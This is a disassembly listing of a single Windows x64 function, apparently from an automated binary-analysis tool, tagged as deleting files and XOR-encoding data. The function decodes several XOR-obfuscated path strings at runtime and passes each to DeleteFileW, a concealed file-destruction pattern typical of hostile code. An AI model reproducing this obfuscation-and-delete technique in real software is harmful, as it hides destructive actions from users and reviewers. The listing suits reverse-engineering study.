Function at 0x14004ddbc
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov eax, 0x40
xor esi, esi
mov dword [rsp + 0x20], eax
mov edx, esi
mov dword [rsp + 0x24], 0xdc00a6
mov edi, 0xe5
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xa600d0
mov dword [rbp - 0x59], 0x8c00be
mov dword [rbp - 0x55], 0x9d0094
mov dword [rbp - 0x51], 0x14700df
mov dword [rbp - 0x4d], 0x16f0160
mov dword [rbp - 0x49], 0x1770166
mov dword [rbp - 0x45], 0x14a0159
mov dword [rbp - 0x41], 0x17d0166
mov dword [rbp - 0x3d], 0x1690167
mov dword [rbp - 0x39], 0x1690163
mov dword [rbp - 0x35], 0x152017f
mov dword [rbp - 0x31], 0x17e014a
mov dword [rbp - 0x2d], 0x17b0176
mov dword [rbp - 0x29], 0x171017d
mov dword [rbp - 0x25], 0x1550149
mov dword [rbp - 0x21], 0x1760178
mov dword [rbp - 0x1d], 0x173017f
mov dword [rbp - 0x19], 0x140017c
mov dword [rbp - 0x15], 0x17f015f
mov dword [rbp - 0x11], 0x145016c
mov dword [rbp - 0xd], 0x14b010f
mov dword [rbp - 9], 0x14d014d
mov dword [rbp - 5], 0x125
test eax, eax
je 0x14004def2
lea eax, [rdi + rdx]
mov ecx, edx
inc edx
xor word [rsp + rcx*2 + 0x24], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x14004dede
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x44
mov edx, esi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xa600d0
mov dword [rbp - 0x59], 0x8c00be
mov dword [rbp - 0x55], 0x9d0094
mov dword [rbp - 0x51], 0x14700df
mov dword [rbp - 0x4d], 0x16f0160
mov dword [rbp - 0x49], 0x1770166
mov dword [rbp - 0x45], 0x14a0159
mov dword [rbp - 0x41], 0x17d0166
mov dword [rbp - 0x3d], 0x1690167
mov dword [rbp - 0x39], 0x1690163
mov dword [rbp - 0x35], 0x152017f
mov dword [rbp - 0x31], 0x17e014a
mov dword [rbp - 0x2d], 0x17b0176
mov dword [rbp - 0x29], 0x171017d
mov dword [rbp - 0x25], 0x1550149
mov dword [rbp - 0x21], 0x1760178
mov dword [rbp - 0x1d], 0x173017f
mov dword [rbp - 0x19], 0x140017c
mov dword [rbp - 0x15], 0x17f015f
mov dword [rbp - 0x11], 0x145016c
mov dword [rbp - 0xd], 0x1430166
mov dword [rbp - 9], 0x141014e
mov dword [rbp - 5], 0x14f010b
mov dword [rbp - 1], 0x1410149
mov dword [rbp + 3], 0x129
test eax, eax
je 0x14004e01c
lea eax, [rdi + rdx]
mov ecx, edx
inc edx
xor word [rsp + rcx*2 + 0x24], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x14004e008
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, esi
mov dword [rsp + 0x20], 0x4f
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xa600d0
mov dword [rbp - 0x59], 0x8c00be
mov dword [rbp - 0x55], 0x9d0094
mov dword [rbp - 0x51], 0x14700df
mov dword [rbp - 0x4d], 0x16f0160
mov dword [rbp - 0x49], 0x1770166
mov dword [rbp - 0x45], 0x14a0159
mov dword [rbp - 0x41], 0x17d0166
mov dword [rbp - 0x3d], 0x1690167
mov dword [rbp - 0x39], 0x1690163
mov dword [rbp - 0x35], 0x152017f
mov dword [rbp - 0x31], 0x17e014a
mov dword [rbp - 0x2d], 0x17b0176
mov dword [rbp - 0x29], 0x171017d
mov dword [rbp - 0x25], 0x1550149
mov dword [rbp - 0x21], 0x1760178
mov dword [rbp - 0x1d], 0x173017f
mov dword [rbp - 0x19], 0x140017c
mov dword [rbp - 0x15], 0x177014a
mov dword [rbp - 0x11], 0x1440171
mov dword [rbp - 0xd], 0x155014e
mov dword [rbp - 9], 0x1780150
mov dword [rbp - 5], 0x14f0172
mov dword [rbp - 1], 0x14c0149
mov dword [rbp + 3], 0x15d0146
mov dword [rbp + 7], 0x16b0158
mov dword [rbp + 0xb], 0x143014c
mov dword [rbp + 0xf], 0x11e014a
mov dword [rbp + 0x13], 0x15c0158
mov dword [rbp + 0x17], 0x134015a
mov ecx, edx
lea eax, [rdi + rdx]
inc edx
xor word [rsp + rcx*2 + 0x24], ax
cmp edx, dword [rsp + 0x20]
jb 0x14004e150
mov eax, dword [rsp + 0x20]
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, esi
mov dword [rsp + 0x20], 0x45
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xa600d0
mov dword [rbp - 0x59], 0x8c00be
mov dword [rbp - 0x55], 0x9d0094
mov dword [rbp - 0x51], 0x14700df
mov dword [rbp - 0x4d], 0x16f0160
mov dword [rbp - 0x49], 0x1770166
mov dword [rbp - 0x45], 0x14a0159
mov dword [rbp - 0x41], 0x17d0166
mov dword [rbp - 0x3d], 0x1690167
mov dword [rbp - 0x39], 0x1690163
mov dword [rbp - 0x35], 0x152017f
mov dword [rbp - 0x31], 0x17e014a
mov dword [rbp - 0x2d], 0x17b0176
mov dword [rbp - 0x29], 0x171017d
mov dword [rbp - 0x25], 0x1550149
mov dword [rbp - 0x21], 0x1760178
mov dword [rbp - 0x1d], 0x173017f
mov dword [rbp - 0x19], 0x140017c
mov dword [rbp - 0x15], 0x17f015f
mov dword [rbp - 0x11], 0x145016c
mov dword [rbp - 0xd], 0x14c0168
mov dword [rbp - 9], 0x1510153
mov dword [rbp - 5], 0x1080151
mov dword [rbp - 1], 0x146014e
mov dword [rbp + 3], 0x12a0140
mov ecx, edx
lea eax, [rdi + rdx]
inc edx
xor word [rsp + rcx*2 + 0x24], ax
cmp edx, dword [rsp + 0x20]
jb 0x14004e277
mov eax, dword [rsp + 0x20]
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, esi
mov dword [rsp + 0x20], 0x49
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xa600d0
mov dword [rbp - 0x59], 0x8c00be
mov dword [rbp - 0x55], 0x9d0094
mov dword [rbp - 0x51], 0x14700df
mov dword [rbp - 0x4d], 0x16f0160
mov dword [rbp - 0x49], 0x1770166
mov dword [rbp - 0x45], 0x14a0159
mov dword [rbp - 0x41], 0x17d0166
mov dword [rbp - 0x3d], 0x1690167
mov dword [rbp - 0x39], 0x1690163
mov dword [rbp - 0x35], 0x152017f
mov dword [rbp - 0x31], 0x17f015f
mov dword [rbp - 0x2d], 0x1660163
mov dword [rbp - 0x29], 0x1780172
mov dword [rbp - 0x25], 0x1550149
mov dword [rbp - 0x21], 0x1760178
mov dword [rbp - 0x1d], 0x173017f
mov dword [rbp - 0x19], 0x140017c
mov dword [rbp - 0x15], 0x16d0148
mov dword [rbp - 0x11], 0x152017a
mov dword [rbp - 0xd], 0x14b016d
mov dword [rbp - 9], 0x14c0144
mov dword [rbp - 5], 0x14b0151
mov dword [rbp - 1], 0x15b0146
mov dword [rbp + 3], 0x104015a
mov dword [rbp + 7], 0x1420142
mov dword [rbp + 0xb], 0x12e0144
mov ecx, edx
lea eax, [rdi + rdx]
inc edx
xor word [rsp + rcx*2 + 0x24], ax
cmp edx, dword [rsp + 0x20]
jb 0x14004e3ac
mov eax, dword [rsp + 0x20]
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x58
mov edx, esi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xa600d0
mov dword [rbp - 0x59], 0x8c00be
mov dword [rbp - 0x55], 0x9d0094
mov dword [rbp - 0x51], 0x14700df
mov dword [rbp - 0x4d], 0x16f0160
mov dword [rbp - 0x49], 0x1770166
mov dword [rbp - 0x45], 0x14a0159
mov dword [rbp - 0x41], 0x17d0166
mov dword [rbp - 0x3d], 0x1690167
mov dword [rbp - 0x39], 0x1690163
mov dword [rbp - 0x35], 0x152017f
mov dword [rbp - 0x31], 0x17e014a
mov dword [rbp - 0x2d], 0x17b0176
mov dword [rbp - 0x29], 0x171017d
mov dword [rbp - 0x25], 0x1550149
mov dword [rbp - 0x21], 0x1760178
mov dword [rbp - 0x1d], 0x173017f
mov dword [rbp - 0x19], 0x140017c
mov dword [rbp - 0x15], 0x177014a
mov dword [rbp - 0x11], 0x1440171
mov dword [rbp - 0xd], 0x155014e
mov dword [rbp - 9], 0x1780150
mov dword [rbp - 5], 0x1470167
mov dword [rbp - 1], 0x14d0154
mov dword [rbp + 3], 0x143017e
mov dword [rbp + 7], 0x1480145
mov dword [rbp + 0xb], 0x1590142
mov dword [rbp + 0xf], 0x17c015c
mov dword [rbp + 0x13], 0x1550158
mov dword [rbp + 0x17], 0x140015b
mov dword [rbp + 0x1b], 0x1570158
mov dword [rbp + 0x1f], 0x14b0144
mov dword [rbp + 0x23], 0x1530117
mov dword [rbp + 0x27], 0x1550155
mov dword [rbp + 0x2b], 0x13d
test eax, eax
je 0x14004e532
lea eax, [rdi + rdx]
mov ecx, edx
inc edx
xor word [rsp + rcx*2 + 0x24], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x14004e51e
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x4a
mov edx, esi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xbf00d0
mov dword [rbp - 0x59], 0x95008b
mov dword [rbp - 0x55], 0xde009e
mov dword [rbp - 0x51], 0x16100b8
mov dword [rbp - 0x4d], 0x167016c
mov dword [rbp - 0x49], 0x1580170
mov dword [rbp - 0x45], 0x1670149
mov dword [rbp - 0x41], 0x1660172
mov dword [rbp - 0x3d], 0x162016a
mov dword [rbp - 0x39], 0x17e016e
mov dword [rbp - 0x35], 0x15e0151
mov dword [rbp - 0x31], 0x1620160
mov dword [rbp - 0x2d], 0x1730165
mov dword [rbp - 0x29], 0x148017f
mov dword [rbp - 0x25], 0x1790156
mov dword [rbp - 0x21], 0x17e0179
mov dword [rbp - 0x1d], 0x17d0170
mov dword [rbp - 0x19], 0x1490147
mov dword [rbp - 0x15], 0x17b016e
mov dword [rbp - 0x11], 0x173016d
mov dword [rbp - 0xd], 0x1430142
mov dword [rbp - 9], 0x145014f
mov dword [rbp - 5], 0x14f0147
mov dword [rbp - 1], 0x141014b
mov dword [rbp + 3], 0x153015d
mov dword [rbp + 7], 0x1450105
mov dword [rbp + 0xb], 0x1470143
mov dword [rbp + 0xf], 0x12f
test eax, eax
je 0x14004e671
lea eax, [rdi + rdx]
mov ecx, edx
inc edx
xor word [rsp + rcx*2 + 0x24], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x14004e65d
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, esi
mov dword [rsp + 0x20], 0x47
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xbf00d0
mov dword [rbp - 0x59], 0x95008b
mov dword [rbp - 0x55], 0xde009e
mov dword [rbp - 0x51], 0x16100b8
mov dword [rbp - 0x4d], 0x167016c
mov dword [rbp - 0x49], 0x1580170
mov dword [rbp - 0x45], 0x1670149
mov dword [rbp - 0x41], 0x1660172
mov dword [rbp - 0x3d], 0x162016a
mov dword [rbp - 0x39], 0x17e016e
mov dword [rbp - 0x35], 0x14b0151
mov dword [rbp - 0x31], 0x1770161
mov dword [rbp - 0x2d], 0x17c0178
mov dword [rbp - 0x29], 0x1480176
mov dword [rbp - 0x25], 0x1790156
mov dword [rbp - 0x21], 0x17e0179
mov dword [rbp - 0x1d], 0x17d0170
mov dword [rbp - 0x19], 0x15e0147
mov dword [rbp - 0x15], 0x16d017c
mov dword [rbp - 0x11], 0x168017a
mov dword [rbp - 0xd], 0x1500140
mov dword [rbp - 9], 0x1530147
mov dword [rbp - 5], 0x1540144
mov dword [rbp - 1], 0x1060142
mov dword [rbp + 3], 0x1440140
mov dword [rbp + 7], 0x12c0142
mov ecx, edx
lea eax, [rdi + rdx]
inc edx
xor word [rsp + rcx*2 + 0x24], ax
cmp edx, dword [rsp + 0x20]
jb 0x14004e789
mov eax, dword [rsp + 0x20]
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 0x62
mov edx, esi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], 0xdc00a6
mov dword [rsp + 0x28], 0xb800bb
mov dword [rbp - 0x7d], 0x85009b
mov dword [rbp - 0x79], 0x9e008c
mov dword [rbp - 0x75], 0x83008c
mov dword [rbp - 0x71], 0xb600cf
mov dword [rbp - 0x6d], 0x9e0098
mov dword [rbp - 0x69], 0x870096
mov dword [rbp - 0x65], 0x8e00dd
mov dword [rbp - 0x61], 0xce00cf
mov dword [rbp - 0x5d], 0xbf00d0
mov dword [rbp - 0x59], 0x95008b
mov dword [rbp - 0x55], 0xde009e
mov dword [rbp - 0x51], 0x16100b8
mov dword [rbp - 0x4d], 0x167016c
mov dword [rbp - 0x49], 0x1580170
mov dword [rbp - 0x45], 0x1670149
mov dword [rbp - 0x41], 0x1660172
mov dword [rbp - 0x3d], 0x162016a
mov dword [rbp - 0x39], 0x17e016e
mov dword [rbp - 0x35], 0x15e0151
mov dword [rbp - 0x31], 0x1620160
mov dword [rbp - 0x2d], 0x1730165
mov dword [rbp - 0x29], 0x148017f
mov dword [rbp - 0x25], 0x1790156
mov dword [rbp - 0x21], 0x17e0179
mov dword [rbp - 0x1d], 0x17d0170
mov dword [rbp - 0x19], 0x1520147
mov dword [rbp - 0x15], 0x16a0172
mov dword [rbp - 0x11], 0x14f0159
mov dword [rbp - 0xd], 0x16e0153
mov dword [rbp - 9], 0x147014a
mov dword [rbp - 5], 0x1480140
mov dword [rbp - 1], 0x14d0154
mov dword [rbp + 3], 0x159014c
mov dword [rbp + 7], 0x17b0177
mov dword [rbp + 0xb], 0x1400144
mov dword [rbp + 0xf], 0x15f014b
mov dword [rbp + 0x13], 0x1410146
mov dword [rbp + 0x17], 0x163016f
mov dword [rbp + 0x1b], 0x158015c
mov dword [rbp + 0x1f], 0x1570153
mov dword [rbp + 0x23], 0x149014e
mov dword [rbp + 0x27], 0x15d0173
mov dword [rbp + 0x2b], 0x15a014f
mov dword [rbp + 0x2f], 0x1210148
mov dword [rbp + 0x33], 0x1270133
mov dword [rbp + 0x37], 0x12d016d
mov dword [rbp + 0x3b], 0x12f012b
mov dword [rbp + 0x3f], 0x147
test eax, eax
je 0x14004e932
lea eax, [rdi + rdx]
mov ecx, edx
inc edx
xor word [rsp + rcx*2 + 0x24], ax
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x14004e91e
lea rcx, [rsp + 0x24]
mov word [rsp + rax*2 + 0x24], si
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r11, [rsp + 0xf0]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret